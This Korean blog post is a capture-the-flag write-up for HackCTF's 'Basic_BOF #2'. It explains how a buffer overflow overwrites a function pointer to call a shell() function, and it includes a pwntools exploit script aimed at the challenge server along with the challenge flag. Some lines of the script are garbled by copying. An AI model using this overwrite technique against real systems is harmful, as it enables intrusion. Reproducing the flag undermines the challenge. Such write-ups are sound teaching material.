본문 바로가기

WARGAME/hack ctf

Basic_BOF #2

 

 

이번에는 Basic_BOF #2라는 문제이다. 바이너리를 다운로드하여 실행시켜 보면,

 

 

 

 

입력을 한 줄 받을 수 있고, 입력 받은 뒤 " 하아아아아아아아아앙 " 이라는 문자열이 출력됨을 확인 할 수 있다.

 

 

ida로 바로 main 함수 부터 분석을 해보면,

 

 

 

 

v5 함수 포인터 변수가 sup 라는 함수를 가리키고 있고 fgets로 입력을 받은 다음 v5를 호출 함을 알 수 있다. 해당 바이너리 에서의

함수 목록들을 보면,

 

 

 

 

sup 이랑 shell 이라는 함수가 있음을 확인 할 수 있다. 

 

 

 

 

sup 함수는 간단하게 puts 함수를 통해 문자열을 출력 함을 확인 할 수 있다. 아마 바이너리를 실행 시키고 입력 한 후에 나오는 

문자열도 프로그램 흐름상 v5 (sup) 함수를 통해서 출력이 되는거 같다.

 

 

다음은 shell 함수 이다.

 

 

 

 

shell 함수에서는 system 함수가 실행이 되는 것을 확인 할 수 있다. 즉, 우리는 저 main 함수에서 v5 가 가르키는 함수를 sup 

함수가 아닌 shell 함수의 주소로 덮어 버리면 shell 함수가 호출이 되어서 shell이 따짐을 짐작 할 수 있다.

 

 

전체 버퍼 사이즈가 0x8c이고, v5 변수의 위치가 0xc 이므로 0x8c - 0xc 만큼 버퍼를 덮어 주고 이후에 shell 함수의 주소로

덮어주면 될 것이다.

 

 

익스는 다음과 같이 짰다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*
 
= remote("ctf.j0n9hyun.xyz"3001)
#p = process("./bof_basic2")
elf = ELF("./bof_basic2")
 
addr = elf.symbols['shell']
 
payload = ''
payload += 'A' * 128
payload += p32(addr)
 
p.sendline(payload)
 
p.interactive()
 

 

 

이후 실행 시켜 보면,

 

 

 

 

익스에 성공함을 알 수 있다.

 

 

FLAG : HackCTF{h3y_dud3_600d_f0r_y0u}

'WARGAME > hack ctf' 카테고리의 다른 글

Simple_Overflow_ver_2  (0) 2020.03.09
x64 Simple_size_BOF  (0) 2020.03.09
x64 Buffer Overflow  (0) 2020.03.09
내 버퍼가 흘러넘친다!!!  (0) 2020.03.09
Basic_BOF #1  (0) 2020.02.16